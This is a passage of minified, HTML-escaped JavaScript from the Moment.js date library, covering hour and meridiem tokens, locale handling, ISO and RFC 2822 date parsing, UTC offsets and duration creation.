RegExp(&quot;^(&quot;+shortPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;),this._weekdaysMinStrictRegex=new RegExp(&quot;^(&quot;+minPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;)}function hFormat(){return this.hours()%12||12}function kFormat(){return this.hours()||24}function meridiem(token,lowercase){addFormatToken(token,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),lowercase)}))}function matchMeridiem(isStrict,locale){return locale._meridiemParse}function localeIsPM(input){return&quot;p&quot;===(input+&quot;&quot;).toLowerCase().charAt(0)}addFormatToken(&quot;H&quot;,[&quot;HH&quot;,2],0,&quot;hour&quot;),addFormatToken(&quot;h&quot;,[&quot;hh&quot;,2],0,hFormat),addFormatToken(&quot;k&quot;,[&quot;kk&quot;,2],0,kFormat),addFormatToken(&quot;hmm&quot;,0,0,(function(){return&quot;&quot;+hFormat.apply(this)+zeroFill(this.minutes(),2)})),addFormatToken(&quot;hmmss&quot;,0,0,(function(){return&quot;&quot;+hFormat.apply(this)+zeroFill(this.minutes(),2)+zeroFill(this.seconds(),2)})),addFormatToken(&quot;Hmm&quot;,0,0,(function(){return&quot;&quot;+this.hours()+zeroFill(this.minutes(),2)})),addFormatToken(&quot;Hmmss&quot;,0,0,(function(){return&quot;&quot;+this.hours()+zeroFill(this.minutes(),2)+zeroFill(this.seconds(),2)})),meridiem(&quot;a&quot;,!0),meridiem(&quot;A&quot;,!1),addUnitAlias(&quot;hour&quot;,&quot;h&quot;),addUnitPriority(&quot;hour&quot;,13),addRegexToken(&quot;a&quot;,matchMeridiem),addRegexToken(&quot;A&quot;,matchMeridiem),addRegexToken(&quot;H&quot;,match1to2),addRegexToken(&quot;h&quot;,match1to2),addRegexToken(&quot;k&quot;,match1to2),addRegexToken(&quot;HH&quot;,match1to2,match2),addRegexToken(&quot;hh&quot;,match1to2,match2),addRegexToken(&quot;kk&quot;,match1to2,match2),addRegexToken(&quot;hmm&quot;,match3to4),addRegexToken(&quot;hmmss&quot;,match5to6),addRegexToken(&quot;Hmm&quot;,match3to4),addRegexToken(&quot;Hmmss&quot;,match5to6),addParseToken([&quot;H&quot;,&quot;HH&quot;],HOUR),addParseToken([&quot;k&quot;,&quot;kk&quot;],(function(input,array,config){var kInput=toInt(input);array[HOUR]=24===kInput?0:kInput})),addParseToken([&quot;a&quot;,&quot;A&quot;],(function(input,array,config){config._isPm=config._locale.isPM(input),config._meridiem=input})),addParseToken([&quot;h&quot;,&quot;hh&quot;],(function(input,array,config){array[HOUR]=toInt(input),getParsingFlags(config).bigHour=!0})),addParseToken(&quot;hmm&quot;,(function(input,array,config){var pos=input.length-2;array[HOUR]=toInt(input.substr(0,pos)),array[MINUTE]=toInt(input.substr(pos)),getParsingFlags(config).bigHour=!0})),addParseToken(&quot;hmmss&quot;,(function(input,array,config){var pos1=input.length-4,pos2=input.length-2;array[HOUR]=toInt(input.substr(0,pos1)),array[MINUTE]=toInt(input.substr(pos1,2)),array[SECOND]=toInt(input.substr(pos2)),getParsingFlags(config).bigHour=!0})),addParseToken(&quot;Hmm&quot;,(function(input,array,config){var pos=input.length-2;array[HOUR]=toInt(input.substr(0,pos)),array[MINUTE]=toInt(input.substr(pos))})),addParseToken(&quot;Hmmss&quot;,(function(input,array,config){var pos1=input.length-4,pos2=input.length-2;array[HOUR]=toInt(input.substr(0,pos1)),array[MINUTE]=toInt(input.substr(pos1,2)),array[SECOND]=toInt(input.substr(pos2))}));var defaultLocaleMeridiemParse=/[ap]\.?m?\.?/i;function localeMeridiem(hours,minutes,isLower){return hours&gt;11?isLower?&quot;pm&quot;:&quot;PM&quot;:isLower?&quot;am&quot;:&quot;AM&quot;}var globalLocale,getSetHour=makeGetSet(&quot;Hours&quot;,!0),baseConfig={calendar:defaultCalendar,longDateFormat:defaultLongDateFormat,invalidDate:defaultInvalidDate,ordinal:defaultOrdinal,dayOfMonthOrdinalParse:defaultDayOfMonthOrdinalParse,relativeTime:defaultRelativeTime,months:defaultLocaleMonths,monthsShort:defaultLocaleMonthsShort,week:defaultLocaleWeek,weekdays:defaultLocaleWeekdays,weekdaysMin:defaultLocaleWeekdaysMin,weekdaysShort:defaultLocaleWeekdaysShort,meridiemParse:defaultLocaleMeridiemParse},locales={},localeFamilies={};function normalizeLocale(key){return key?key.toLowerCase().replace(&quot;_&quot;,&quot;-&quot;):key}function chooseLocale(names){for(var j,next,locale,split,i=0;i&lt;names.length;){for(j=(split=normalizeLocale(names[i]).split(&quot;-&quot;)).length,next=(next=normalizeLocale(names[i+1]))?next.split(&quot;-&quot;):null;j&gt;0;){if(locale=loadLocale(split.slice(0,j).join(&quot;-&quot;)))return locale;if(next&amp;&amp;next.length&gt;=j&amp;&amp;compareArrays(split,next,!0)&gt;=j-1)break;j--}i++}return globalLocale}function loadLocale(name){var oldLocale=null;if(!locales[name]&amp;&amp;module&amp;&amp;module.exports)try{oldLocale=globalLocale._abbr,commonjsRequire(),getSetGlobalLocale(oldLocale)}catch(e){}return locales[name]}function getSetGlobalLocale(key,values){var data;return key&amp;&amp;((data=isUndefined(values)?getLocale(key):defineLocale(key,values))?globalLocale=data:&quot;undefined&quot;!=typeof console&amp;&amp;console.warn&amp;&amp;console.warn(&quot;Locale &quot;+key+&quot; not found. Did you forget to load it?&quot;)),globalLocale._abbr}function defineLocale(name,config){if(null!==config){var locale,parentConfig=baseConfig;if(config.abbr=name,null!=locales[name])deprecateSimple(&quot;defineLocaleOverride&quot;,&quot;use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info.&quot;),parentConfig=locales[name]._config;else if(null!=config.parentLocale)if(null!=locales[config.parentLocale])parentConfig=locales[config.parentLocale]._config;else{if(null==(locale=loadLocale(config.parentLocale)))return localeFamilies[config.parentLocale]||(localeFamilies[config.parentLocale]=[]),localeFamilies[config.parentLocale].push({name:name,config:config}),null;parentConfig=locale._config}return locales[name]=new Locale(mergeConfigs(parentConfig,config)),localeFamilies[name]&amp;&amp;localeFamilies[name].forEach((function(x){defineLocale(x.name,x.config)})),getSetGlobalLocale(name),locales[name]}return delete locales[name],null}function updateLocale(name,config){if(null!=config){var locale,tmpLocale,parentConfig=baseConfig;null!=(tmpLocale=loadLocale(name))&amp;&amp;(parentConfig=tmpLocale._config),(locale=new Locale(config=mergeConfigs(parentConfig,config))).parentLocale=locales[name],locales[name]=locale,getSetGlobalLocale(name)}else null!=locales[name]&amp;&amp;(null!=locales[name].parentLocale?locales[name]=locales[name].parentLocale:null!=locales[name]&amp;&amp;delete locales[name]);return locales[name]}function getLocale(key){var locale;if(key&amp;&amp;key._locale&amp;&amp;key._locale._abbr&amp;&amp;(key=key._locale._abbr),!key)return globalLocale;if(!isArray(key)){if(locale=loadLocale(key))return locale;key=[key]}return chooseLocale(key)}function listLocales(){return keys(locales)}function checkOverflow(m){var overflow,a=m._a;return a&amp;&amp;-2===getParsingFlags(m).overflow&amp;&amp;(overflow=a[MONTH]&lt;0||a[MONTH]&gt;11?MONTH:a[DATE]&lt;1||a[DATE]&gt;daysInMonth(a[YEAR],a[MONTH])?DATE:a[HOUR]&lt;0||a[HOUR]&gt;24||24===a[HOUR]&amp;&amp;(0!==a[MINUTE]||0!==a[SECOND]||0!==a[MILLISECOND])?HOUR:a[MINUTE]&lt;0||a[MINUTE]&gt;59?MINUTE:a[SECOND]&lt;0||a[SECOND]&gt;59?SECOND:a[MILLISECOND]&lt;0||a[MILLISECOND]&gt;999?MILLISECOND:-1,getParsingFlags(m)._overflowDayOfYear&amp;&amp;(overflow&lt;YEAR||overflow&gt;DATE)&amp;&amp;(overflow=DATE),getParsingFlags(m)._overflowWeeks&amp;&amp;-1===overflow&amp;&amp;(overflow=WEEK),getParsingFlags(m)._overflowWeekday&amp;&amp;-1===overflow&amp;&amp;(overflow=WEEKDAY),getParsingFlags(m).overflow=overflow),m}function defaults(a,b,c){return null!=a?a:null!=b?b:c}function currentDateArray(config){var nowValue=new Date(hooks.now());return config._useUTC?[nowValue.getUTCFullYear(),nowValue.getUTCMonth(),nowValue.getUTCDate()]:[nowValue.getFullYear(),nowValue.getMonth(),nowValue.getDate()]}function configFromArray(config){var i,date,currentDate,expectedWeekday,yearToUse,input=[];if(!config._d){for(currentDate=currentDateArray(config),config._w&amp;&amp;null==config._a[DATE]&amp;&amp;null==config._a[MONTH]&amp;&amp;dayOfYearFromWeekInfo(config),null!=config._dayOfYear&amp;&amp;(yearToUse=defaults(config._a[YEAR],currentDate[YEAR]),(config._dayOfYear&gt;daysInYear(yearToUse)||0===config._dayOfYear)&amp;&amp;(getParsingFlags(config)._overflowDayOfYear=!0),date=createUTCDate(yearToUse,0,config._dayOfYear),config._a[MONTH]=date.getUTCMonth(),config._a[DATE]=date.getUTCDate()),i=0;i&lt;3&amp;&amp;null==config._a[i];++i)config._a[i]=input[i]=currentDate[i];for(;i&lt;7;i++)config._a[i]=input[i]=null==config._a[i]?2===i?1:0:config._a[i];24===config._a[HOUR]&amp;&amp;0===config._a[MINUTE]&amp;&amp;0===config._a[SECOND]&amp;&amp;0===config._a[MILLISECOND]&amp;&amp;(config._nextDay=!0,config._a[HOUR]=0),config._d=(config._useUTC?createUTCDate:createDate).apply(null,input),expectedWeekday=config._useUTC?config._d.getUTCDay():config._d.getDay(),null!=config._tzm&amp;&amp;config._d.setUTCMinutes(config._d.getUTCMinutes()-config._tzm),config._nextDay&amp;&amp;(config._a[HOUR]=24),config._w&amp;&amp;void 0!==config._w.d&amp;&amp;config._w.d!==expectedWeekday&amp;&amp;(getParsingFlags(config).weekdayMismatch=!0)}}function dayOfYearFromWeekInfo(config){var w,weekYear,week,weekday,dow,doy,temp,weekdayOverflow;if(null!=(w=config._w).GG||null!=w.W||null!=w.E)dow=1,doy=4,weekYear=defaults(w.GG,config._a[YEAR],weekOfYear(createLocal(),1,4).year),week=defaults(w.W,1),((weekday=defaults(w.E,1))&lt;1||weekday&gt;7)&amp;&amp;(weekdayOverflow=!0);else{dow=config._locale._week.dow,doy=config._locale._week.doy;var curWeek=weekOfYear(createLocal(),dow,doy);weekYear=defaults(w.gg,config._a[YEAR],curWeek.year),week=defaults(w.w,curWeek.week),null!=w.d?((weekday=w.d)&lt;0||weekday&gt;6)&amp;&amp;(weekdayOverflow=!0):null!=w.e?(weekday=w.e+dow,(w.e&lt;0||w.e&gt;6)&amp;&amp;(weekdayOverflow=!0)):weekday=dow}week&lt;1||week&gt;weeksInYear(weekYear,dow,doy)?getParsingFlags(config)._overflowWeeks=!0:null!=weekdayOverflow?getParsingFlags(config)._overflowWeekday=!0:(temp=dayOfYearFromWeeks(weekYear,week,weekday,dow,doy),config._a[YEAR]=temp.year,config._dayOfYear=temp.dayOfYear)}var extendedIsoRegex=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,basicIsoRegex=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,tzRegex=/Z|[+-]\d\d(?::?\d\d)?/,isoDates=[[&quot;YYYYYY-MM-DD&quot;,/[+-]\d{6}-\d\d-\d\d/],[&quot;YYYY-MM-DD&quot;,/\d{4}-\d\d-\d\d/],[&quot;GGGG-[W]WW-E&quot;,/\d{4}-W\d\d-\d/],[&quot;GGGG-[W]WW&quot;,/\d{4}-W\d\d/,!1],[&quot;YYYY-DDD&quot;,/\d{4}-\d{3}/],[&quot;YYYY-MM&quot;,/\d{4}-\d\d/,!1],[&quot;YYYYYYMMDD&quot;,/[+-]\d{10}/],[&quot;YYYYMMDD&quot;,/\d{8}/],[&quot;GGGG[W]WWE&quot;,/\d{4}W\d{3}/],[&quot;GGGG[W]WW&quot;,/\d{4}W\d{2}/,!1],[&quot;YYYYDDD&quot;,/\d{7}/]],isoTimes=[[&quot;HH:mm:ss.SSSS&quot;,/\d\d:\d\d:\d\d\.\d+/],[&quot;HH:mm:ss,SSSS&quot;,/\d\d:\d\d:\d\d,\d+/],[&quot;HH:mm:ss&quot;,/\d\d:\d\d:\d\d/],[&quot;HH:mm&quot;,/\d\d:\d\d/],[&quot;HHmmss.SSSS&quot;,/\d\d\d\d\d\d\.\d+/],[&quot;HHmmss,SSSS&quot;,/\d\d\d\d\d\d,\d+/],[&quot;HHmmss&quot;,/\d\d\d\d\d\d/],[&quot;HHmm&quot;,/\d\d\d\d/],[&quot;HH&quot;,/\d\d/]],aspNetJsonRegex=/^\/?Date\((\-?\d+)/i;function configFromISO(config){var i,l,allowTime,dateFormat,timeFormat,tzFormat,string=config._i,match=extendedIsoRegex.exec(string)||basicIsoRegex.exec(string);if(match){for(getParsingFlags(config).iso=!0,i=0,l=isoDates.length;i&lt;l;i++)if(isoDates[i][1].exec(match[1])){dateFormat=isoDates[i][0],allowTime=!1!==isoDates[i][2];break}if(null==dateFormat)return void(config._isValid=!1);if(match[3]){for(i=0,l=isoTimes.length;i&lt;l;i++)if(isoTimes[i][1].exec(match[3])){timeFormat=(match[2]||&quot; &quot;)+isoTimes[i][0];break}if(null==timeFormat)return void(config._isValid=!1)}if(!allowTime&amp;&amp;null!=timeFormat)return void(config._isValid=!1);if(match[4]){if(!tzRegex.exec(match[4]))return void(config._isValid=!1);tzFormat=&quot;Z&quot;}config._f=dateFormat+(timeFormat||&quot;&quot;)+(tzFormat||&quot;&quot;),configFromStringAndFormat(config)}else config._isValid=!1}var rfc2822=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/;function extractFromRFC2822Strings(yearStr,monthStr,dayStr,hourStr,minuteStr,secondStr){var result=[untruncateYear(yearStr),defaultLocaleMonthsShort.indexOf(monthStr),parseInt(dayStr,10),parseInt(hourStr,10),parseInt(minuteStr,10)];return secondStr&amp;&amp;result.push(parseInt(secondStr,10)),result}function untruncateYear(yearStr){var year=parseInt(yearStr,10);return year&lt;=49?2e3+year:year&lt;=999?1900+year:year}function preprocessRFC2822(s){return s.replace(/\([^)]*\)|[\n\t]/g,&quot; &quot;).replace(/(\s\s+)/g,&quot; &quot;).replace(/^\s\s*/,&quot;&quot;).replace(/\s\s*$/,&quot;&quot;)}function checkWeekday(weekdayStr,parsedInput,config){return!weekdayStr||defaultLocaleWeekdaysShort.indexOf(weekdayStr)===new Date(parsedInput[0],parsedInput[1],parsedInput[2]).getDay()||(getParsingFlags(config).weekdayMismatch=!0,config._isValid=!1,!1)}var obsOffsets={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function calculateOffset(obsOffset,militaryOffset,numOffset){if(obsOffset)return obsOffsets[obsOffset];if(militaryOffset)return 0;var hm=parseInt(numOffset,10),m=hm%100;return(hm-m)/100*60+m}function configFromRFC2822(config){var match=rfc2822.exec(preprocessRFC2822(config._i));if(match){var parsedArray=extractFromRFC2822Strings(match[4],match[3],match[2],match[5],match[6],match[7]);if(!checkWeekday(match[1],parsedArray,config))return;config._a=parsedArray,config._tzm=calculateOffset(match[8],match[9],match[10]),config._d=createUTCDate.apply(null,config._a),config._d.setUTCMinutes(config._d.getUTCMinutes()-config._tzm),getParsingFlags(config).rfc2822=!0}else config._isValid=!1}function configFromString(config){var matched=aspNetJsonRegex.exec(config._i);null===matched?(configFromISO(config),!1===config._isValid&amp;&amp;(delete config._isValid,configFromRFC2822(config),!1===config._isValid&amp;&amp;(delete config._isValid,hooks.createFromInputFallback(config)))):config._d=new Date(+matched[1])}function configFromStringAndFormat(config){if(config._f!==hooks.ISO_8601)if(config._f!==hooks.RFC_2822){config._a=[],getParsingFlags(config).empty=!0;var i,parsedInput,tokens,token,skipped,string=&quot;&quot;+config._i,stringLength=string.length,totalParsedInputLength=0;for(tokens=expandFormat(config._f,config._locale).match(formattingTokens)||[],i=0;i&lt;tokens.length;i++)token=tokens[i],(parsedInput=(string.match(getParseRegexForToken(token,config))||[])[0])&amp;&amp;((skipped=string.substr(0,string.indexOf(parsedInput))).length&gt;0&amp;&amp;getParsingFlags(config).unusedInput.push(skipped),string=string.slice(string.indexOf(parsedInput)+parsedInput.length),totalParsedInputLength+=parsedInput.length),formatTokenFunctions[token]?(parsedInput?getParsingFlags(config).empty=!1:getParsingFlags(config).unusedTokens.push(token),addTimeToArrayFromToken(token,parsedInput,config)):config._strict&amp;&amp;!parsedInput&amp;&amp;getParsingFlags(config).unusedTokens.push(token);getParsingFlags(config).charsLeftOver=stringLength-totalParsedInputLength,string.length&gt;0&amp;&amp;getParsingFlags(config).unusedInput.push(string),config._a[HOUR]&lt;=12&amp;&amp;!0===getParsingFlags(config).bigHour&amp;&amp;config._a[HOUR]&gt;0&amp;&amp;(getParsingFlags(config).bigHour=void 0),getParsingFlags(config).parsedDateParts=config._a.slice(0),getParsingFlags(config).meridiem=config._meridiem,config._a[HOUR]=meridiemFixWrap(config._locale,config._a[HOUR],config._meridiem),configFromArray(config),checkOverflow(config)}else configFromRFC2822(config);else configFromISO(config)}function meridiemFixWrap(locale,hour,meridiem){var isPm;return null==meridiem?hour:null!=locale.meridiemHour?locale.meridiemHour(hour,meridiem):null!=locale.isPM?((isPm=locale.isPM(meridiem))&amp;&amp;hour&lt;12&amp;&amp;(hour+=12),isPm||12!==hour||(hour=0),hour):hour}function configFromStringAndArray(config){var tempConfig,bestMoment,scoreToBeat,i,currentScore;if(0===config._f.length)return getParsingFlags(config).invalidFormat=!0,void(config._d=new Date(NaN));for(i=0;i&lt;config._f.length;i++)currentScore=0,tempConfig=copyConfig({},config),null!=config._useUTC&amp;&amp;(tempConfig._useUTC=config._useUTC),tempConfig._f=config._f[i],configFromStringAndFormat(tempConfig),isValid(tempConfig)&amp;&amp;(currentScore+=getParsingFlags(tempConfig).charsLeftOver,currentScore+=10*getParsingFlags(tempConfig).unusedTokens.length,getParsingFlags(tempConfig).score=currentScore,(null==scoreToBeat||currentScore&lt;scoreToBeat)&amp;&amp;(scoreToBeat=currentScore,bestMoment=tempConfig));extend(config,bestMoment||tempConfig)}function configFromObject(config){if(!config._d){var i=normalizeObjectUnits(config._i);config._a=map([i.year,i.month,i.day||i.date,i.hour,i.minute,i.second,i.millisecond],(function(obj){return obj&amp;&amp;parseInt(obj,10)})),configFromArray(config)}}function createFromConfig(config){var res=new Moment(checkOverflow(prepareConfig(config)));return res._nextDay&amp;&amp;(res.add(1,&quot;d&quot;),res._nextDay=void 0),res}function prepareConfig(config){var input=config._i,format=config._f;return config._locale=config._locale||getLocale(config._l),null===input||void 0===format&amp;&amp;&quot;&quot;===input?createInvalid({nullInput:!0}):(&quot;string&quot;==typeof input&amp;&amp;(config._i=input=config._locale.preparse(input)),isMoment(input)?new Moment(checkOverflow(input)):(isDate(input)?config._d=input:isArray(format)?configFromStringAndArray(config):format?configFromStringAndFormat(config):configFromInput(config),isValid(config)||(config._d=null),config))}function configFromInput(config){var input=config._i;isUndefined(input)?config._d=new Date(hooks.now()):isDate(input)?config._d=new Date(input.valueOf()):&quot;string&quot;==typeof input?configFromString(config):isArray(input)?(config._a=map(input.slice(0),(function(obj){return parseInt(obj,10)})),configFromArray(config)):isObject(input)?configFromObject(config):isNumber(input)?config._d=new Date(input):hooks.createFromInputFallback(config)}function createLocalOrUTC(input,format,locale,strict,isUTC){var c={};return!0!==locale&amp;&amp;!1!==locale||(strict=locale,locale=void 0),(isObject(input)&amp;&amp;isObjectEmpty(input)||isArray(input)&amp;&amp;0===input.length)&amp;&amp;(input=void 0),c._isAMomentObject=!0,c._useUTC=c._isUTC=isUTC,c._l=locale,c._i=input,c._f=format,c._strict=strict,createFromConfig(c)}function createLocal(input,format,locale,strict){return createLocalOrUTC(input,format,locale,strict,!1)}hooks.createFromInputFallback=deprecate(&quot;value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.&quot;,(function(config){config._d=new Date(config._i+(config._useUTC?&quot; UTC&quot;:&quot;&quot;))})),hooks.ISO_8601=function(){},hooks.RFC_2822=function(){};var prototypeMin=deprecate(&quot;moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/&quot;,(function(){var other=createLocal.apply(null,arguments);return this.isValid()&amp;&amp;other.isValid()?other&lt;this?this:other:createInvalid()})),prototypeMax=deprecate(&quot;moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/&quot;,(function(){var other=createLocal.apply(null,arguments);return this.isValid()&amp;&amp;other.isValid()?other&gt;this?this:other:createInvalid()}));function pickBy(fn,moments){var res,i;if(1===moments.length&amp;&amp;isArray(moments[0])&amp;&amp;(moments=moments[0]),!moments.length)return createLocal();for(res=moments[0],i=1;i&lt;moments.length;++i)moments[i].isValid()&amp;&amp;!moments[i][fn](res)||(res=moments[i]);return res}function min(){return pickBy(&quot;isBefore&quot;,[].slice.call(arguments,0))}function max(){return pickBy(&quot;isAfter&quot;,[].slice.call(arguments,0))}var now=function(){return Date.now?Date.now():+new Date},ordering=[&quot;year&quot;,&quot;quarter&quot;,&quot;month&quot;,&quot;week&quot;,&quot;day&quot;,&quot;hour&quot;,&quot;minute&quot;,&quot;second&quot;,&quot;millisecond&quot;];function isDurationValid(m){for(var key in m)if(-1===indexOf.call(ordering,key)||null!=m[key]&amp;&amp;isNaN(m[key]))return!1;for(var unitHasDecimal=!1,i=0;i&lt;ordering.length;++i)if(m[ordering[i]]){if(unitHasDecimal)return!1;parseFloat(m[ordering[i]])!==toInt(m[ordering[i]])&amp;&amp;(unitHasDecimal=!0)}return!0}function isValid$1(){return this._isValid}function createInvalid$1(){return createDuration(NaN)}function Duration(duration){var normalizedInput=normalizeObjectUnits(duration),years=normalizedInput.year||0,quarters=normalizedInput.quarter||0,months=normalizedInput.month||0,weeks=normalizedInput.week||normalizedInput.isoWeek||0,days=normalizedInput.day||0,hours=normalizedInput.hour||0,minutes=normalizedInput.minute||0,seconds=normalizedInput.second||0,milliseconds=normalizedInput.millisecond||0;this._isValid=isDurationValid(normalizedInput),this._milliseconds=+milliseconds+1e3*seconds+6e4*minutes+1e3*hours*60*60,this._days=+days+7*weeks,this._months=+months+3*quarters+12*years,this._data={},this._locale=getLocale(),this._bubble()}function isDuration(obj){return obj instanceof Duration}function absRound(number){return number&lt;0?-1*Math.round(-1*number):Math.round(number)}function offset(token,separator){addFormatToken(token,0,0,(function(){var offset=this.utcOffset(),sign=&quot;+&quot;;return offset&lt;0&amp;&amp;(offset=-offset,sign=&quot;-&quot;),sign+zeroFill(~~(offset/60),2)+separator+zeroFill(~~offset%60,2)}))}offset(&quot;Z&quot;,&quot;:&quot;),offset(&quot;ZZ&quot;,&quot;&quot;),addRegexToken(&quot;Z&quot;,matchShortOffset),addRegexToken(&quot;ZZ&quot;,matchShortOffset),addParseToken([&quot;Z&quot;,&quot;ZZ&quot;],(function(input,array,config){config._useUTC=!0,config._tzm=offsetFromString(matchShortOffset,input)}));var chunkOffset=/([\+\-]|\d\d)/gi;function offsetFromString(matcher,string){var matches=(string||&quot;&quot;).match(matcher);if(null===matches)return null;var parts=((matches[matches.length-1]||[])+&quot;&quot;).match(chunkOffset)||[&quot;-&quot;,0,0],minutes=60*parts[1]+toInt(parts[2]);return 0===minutes?0:&quot;+&quot;===parts[0]?minutes:-minutes}function cloneWithOffset(input,model){var res,diff;return model._isUTC?(res=model.clone(),diff=(isMoment(input)||isDate(input)?input.valueOf():createLocal(input).valueOf())-res.valueOf(),res._d.setTime(res._d.valueOf()+diff),hooks.updateOffset(res,!1),res):createLocal(input).local()}function getDateOffset(m){return 15*-Math.round(m._d.getTimezoneOffset()/15)}function getSetOffset(input,keepLocalTime,keepMinutes){var localAdjust,offset=this._offset||0;if(!this.isValid())return null!=input?this:NaN;if(null!=input){if(&quot;string&quot;==typeof input){if(null===(input=offsetFromString(matchShortOffset,input)))return this}else Math.abs(input)&lt;16&amp;&amp;!keepMinutes&amp;&amp;(input*=60);return!this._isUTC&amp;&amp;keepLocalTime&amp;&amp;(localAdjust=getDateOffset(this)),this._offset=input,this._isUTC=!0,null!=localAdjust&amp;&amp;this.add(localAdjust,&quot;m&quot;),offset!==input&amp;&amp;(!keepLocalTime||this._changeInProgress?addSubtract(this,createDuration(input-offset,&quot;m&quot;),1,!1):this._changeInProgress||(this._changeInProgress=!0,hooks.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?offset:getDateOffset(this)}function getSetZone(input,keepLocalTime){return null!=input?(&quot;string&quot;!=typeof input&amp;&amp;(input=-input),this.utcOffset(input,keepLocalTime),this):-this.utcOffset()}function setOffsetToUTC(keepLocalTime){return this.utcOffset(0,keepLocalTime)}function setOffsetToLocal(keepLocalTime){return this._isUTC&amp;&amp;(this.utcOffset(0,keepLocalTime),this._isUTC=!1,keepLocalTime&amp;&amp;this.subtract(getDateOffset(this),&quot;m&quot;)),this}function setOffsetToParsedOffset(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if(&quot;string&quot;==typeof this._i){var tZone=offsetFromString(matchOffset,this._i);null!=tZone?this.utcOffset(tZone):this.utcOffset(0,!0)}return this}function hasAlignedHourOffset(input){return!!this.isValid()&amp;&amp;(input=input?createLocal(input).utcOffset():0,(this.utcOffset()-input)%60==0)}function isDaylightSavingTime(){return this.utcOffset()&gt;this.clone().month(0).utcOffset()||this.utcOffset()&gt;this.clone().month(5).utcOffset()}function isDaylightSavingTimeShifted(){if(!isUndefined(this._isDSTShifted))return this._isDSTShifted;var c={};if(copyConfig(c,this),(c=prepareConfig(c))._a){var other=c._isUTC?createUTC(c._a):createLocal(c._a);this._isDSTShifted=this.isValid()&amp;&amp;compareArrays(c._a,other.toArray())&gt;0}else this._isDSTShifted=!1;return this._isDSTShifted}function isLocal(){return!!this.isValid()&amp;&amp;!this._isUTC}function isUtcOffset(){return!!this.isValid()&amp;&amp;this._isUTC}function isUtc(){return!!this.isValid()&amp;&amp;this._isUTC&amp;&amp;0===this._offset}hooks.updateOffset=function(){};var aspNetRegex=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,isoRegex=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function createDuration(input,key){var sign,ret,diffRes,duration=input,match=null;return isDuration(input)?duration={ms:input._milliseconds,d:input._days,M:input._months}:isNumber(input)?(duration={},key?duration[key]=input:duration.milliseconds=input):(match=aspNetRegex.exec(input))?(sign=&quot;-&quot;===match[1]?-1:1,duration={y:0,d:toInt(match[DATE])*sign,h:toInt(match[HOUR])*sign,m:toInt(match[MINUTE])*sign,s:toInt(match[SECOND])*sign,ms:toInt(absRound(1e3*match[MILLISECOND]))*sign}):(match=isoRegex.exec(input))?(sign=&quot;-&quot;===match[1]?-1:1,duration={y:parseIso(match[2],sign),M:parseIso(match[3],sign),w:parseIso(match[4],sign),d:parseIso(match[5],sign),h:parseIso(match[6],sign),m:parseIso(match[7],sign),s:parseIso(match[8],sign)}):null==duration?duration={}:&quot;object&quot;==typeof duration&amp;&amp;(&quot;from&quot;in duration||&quot;to&quot;in duration)&amp;&amp;(diffRes=momentsDifference(createLocal(duration.from),createLocal(duration.to)),(duration={}).ms=diffRes.milliseconds,duration.M=diffRes.months),ret=new Duration(duration),isDuration(input)&amp;&amp;hasOwnProp(input,&quot;_locale&quot;)&amp;&amp;(ret._locale=input._locale),ret}function parseIso(inp,sign){var res=inp&amp;&amp;parseFloat(inp.replace(&quot;,&quot;,&quot;.&quot;));return(isNaN(res)?0:res)*sign}function positiveMomentsDifference(base,other){var res={};return res.months=other.month()-base.month()+12*(other.year()-base.year()),base.clone().add(res.months,&quot;M&quot;).isAfter(other)&amp;&amp;--res.months,res.milliseconds=+other-+base.clone().add(res.months,&quot;M&quot;),res}function momentsDifference(base,other){var res;return base.isValid()&amp;&amp;other.isValid()?(other=cloneWithOffset(other,base),base.isBefore(other)?res=positiveMomentsDifference(base,other):((res=positiveMomentsDifference(other,base)).milliseconds=-res.milliseconds,res.months=-res.months),res):{milliseconds:0,months:0}}function createAdder(direction,name){return function(val,period){var tmp;return null===period||isNaN(+period)||(deprecateSimple(name,&quot;moment().&quot;+name+&quot;(period, number) is deprecated. Please use moment().&quot;+name+&quot;(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.&quot;),tmp=val,val=period,period=tmp),addSubtract(this,createDuration(val=&quot;string&quot;==typeof val?+val:val,period),direction),this}}function addSubtract(mom,duration,isAdding,updateOffset){var 